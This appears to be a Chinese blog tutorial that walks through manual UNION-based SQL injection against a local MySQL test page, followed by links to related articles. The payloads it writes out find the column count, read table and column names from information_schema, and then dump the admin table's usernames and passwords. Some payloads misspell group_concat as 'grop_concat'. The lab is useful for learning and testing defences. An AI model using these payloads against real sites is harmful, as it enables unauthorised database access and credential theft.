当mysql版本>5.0时我们只需要访问information_schema库即可查询数据库的相关概要信息,
而对于<5.0的版本则需要爆破,今天我们测试的环境是mysql 5.5.40,对于小于5.0的mysql不建议手工测试,
可以使用slqmap等注入工具辅助,成功率在于字典的大小。

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权 限等。

测试环境:id并没有进行任何过滤处理从而造成典型的GET数字型注入
1.验证注入:
and 1=1
url:http://127.0.0.1/test.php?id=9 and 1=1
sql语句:SELECT * FROM article WHERE id='9 and 1=1'
返回正常

and 1=2
url:http://127.0.0.1/test.php?id=9 and 1=2
sql语句:SELECT * FROM article WHERE id='9 and 1=2'
出错

2.判断字段数:

2.1order by查询

url:http://127.0.0.1/test.php?id=9 order by 1,2,3,4
sql语句:SELECT * FROM article WHERE id = 90 order by 1,2,3,4

order by查询:order by在sql语句中是对结果集的指定列进行排序,
比如我们想让结果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次类推,
按照这个原理我们来判断他的字段数,如果我们按照他的第1列进行排序数据库会返回正常,
但是当我们按照第100列排序,但是数据库中并不存在第100列,从而报错。
如:当我们测试到7时数据库报错,说明该表只有6个字段

2.2UNION SELECT 联合查询

url:http://127.0.0.1/test.php?id=9 union select null,null,null,null
sql语句:SELECT * FROM article WHERE id = 90 union select null,null,null,null

UNION SELECT 联合查询:可以用于一个或多个SELECT的结果集,但是他有一个条件,
就是两个select查询语句的查询必须要有相同的列才可以执行,利用这个特性我们可以进行对比查询,
也就是说当我们union select的列与它查询的列相同时,页面返回正常。
如:当字段为6个时页面返回正常,而大于或小于字段数时都会报错。

解决两个小问题:
问题一:大部分程序只会调用数据库查询的第一条返回(我们这个也是),而通过联合查询出的数据中,
我们想看到的数据是在第二条中,如果我们想看到我们想要的数据有两种方法,第一种是让第一条数据返回假,
第二种是通过sql语句直接返回我们想要的数据。

方法一:我们让第一个查询的结果始终为假

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null

结果:返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了
我们把语句放在mysql中看一下返回结果:

方法二:通过limit语句,limit在mysql中是用来分页的,我们也可以通过他拿到我们想要的结果集

url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1
返回也是空,同上面结果一样

问题二:哪个列中的数据是在页面中显示出来的,可能有一些列中的数据只是用于后台程序对数据处理使用,
并不会在前台显示,所以我们需要判断哪个字段我们可以看到。如图,我们通过数字代替了NULL进行查询,
确定了2,3,4,5 四个字段可以在页面中显示。
回答一下为什么我们不一开始就是用数字,因为union select 不仅要求列的数量相同,同时数据类型也要相似。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1

3.查询库名:

这里我们直接使用mysql自带函数database()查询 得到库名:test
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1

结果:显示出test

4.查表名:

这里就用到了我们一开始说的information_schema库,查表名我们主要用到的是TABLES表。
这里我们用到了group_concat它可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据。
这里我们的目标是admin表。

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'

结果:显示出所有表名,第一个为admin

5.查字段:
这里同样使用information_schema库,这里使用的是columns表。得到字段id,username,password

url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'

结果:id,username,password

6.查数据:
最终目标就出来啦!

url:url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
sql:sql语句:sql语句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
结果就出来了

php+mysql 注入基本过程的更多相关文章

  1. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  2. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  3. mysql 注入基础知识

    (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表哥的一段话,个人认为分类已经是够全面了.理解不了跳过,当你完全看完整个学习过程后再回头看这段.能完全理解下面的这些每个分类,对每个分类有属 ...

  4. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  5. MYSQL注入天书之基础知识

    第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表 ...

  6. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  7. Mysql注入汇总!!!!!!!!!

    师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...

  8. 一个PHP的SQL注入完整过程

    本篇文章介绍的内容是一个PHP的SQL注入完整过程,现在分享给大家,有需要的朋友可以参考一下 希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里 ...

  9. MySQL注入与informantion_schema库

    目录 只可读 自动开启 和MySQL注入有关的3个表 手动注入的使用案例 表介绍 查询一个表中全部字段的过程 MySQL V5.0安装完成会默认会生成一个库(informantion_schema), ...

随机推荐

  1. MyBatis——Java API

    Java API 既然你已经知道如何配置 MyBatis 和创建映射文件,你就已经准备好来提升技能了. MyBatis 的 Java API 就是你收获你所做的努力的地方.正如你即将看到的,和 JDB ...

  2. sonar-scanner扫描代码出错 SonarQube svn: E170001

    问题报错: Caused by: org.tmatesoft.svn.core.SVNAuthenticationException: svn: E170001: Authentication req ...

  3. 【BZOJ1500】[NOI2005]维修数列 Splay

    [BZOJ1500][NOI2005]维修数列 Description Input 输入的第1 行包含两个数N 和M(M ≤20 000),N 表示初始时数列中数的个数,M表示要进行的操作数目.第2行 ...

  4. onethink重新安装后,还原数据库后,登陆不了解决办法!

    在用onethink开发的时候,为了防止修改出错,我会在开发下一个功能的对上一个功能代码整体进行备份,如果出错就返回上一个版本再次修改. 但是会发现一个问题,如果如果返回到上一个版本,重新安装完成之后 ...

  5. Android N 通知概览及example

    概述 Android App的通知在维护你的App和用户之间的交互起着举足轻重的作用,为了提供更好的用户体验,Android N上的通知提供了可视化刷新,自定义视图和直接回复等功能.另外还提出了Mes ...

  6. ASP.NET的页面执行过程

    对于ASP.NET来说,用户访问的页面,都由服务器IIS处理,具体的处理过程如下图: 对于用户模块还是有很多的东西没有写,未完待续...

  7. CentOS7使用yum安装nginx

    CentOS默认没有nginx的yum源需要yum安装nginx可以使用一下方法 一,环境检测 二,设置yum源 rpm -Uvh http://nginx.org/packages/centos/7 ...

  8. K-均值聚类(K-means)算法

    https://www.cnblogs.com/ybjourney/p/4714870.html 最近在看<机器学习实战>这本书,因为自己本身很想深入的了解机器学习算法,加之想学pytho ...

  9. python https协议和InsecurePlatformWarning问题

    本人最近在学习python,今天想使用python来抓取糗事百科网站上的一些笑话故事的,由于糗事百科的网站url采取的是https协议,所以当我按照常规的方式抓取的时候,发现不行,报错了,找了很多方法 ...

  10. python装饰器的应用案例

    目录 一.过程编程 二.面向装饰器和函数的编程 三.二的加强版 一.过程编程 (一)需求:打印菱形 1.空格.*号组成的菱形 2.输入菱形上半部分的行数即可打印 3.支持循环输入 (二)代码 from ...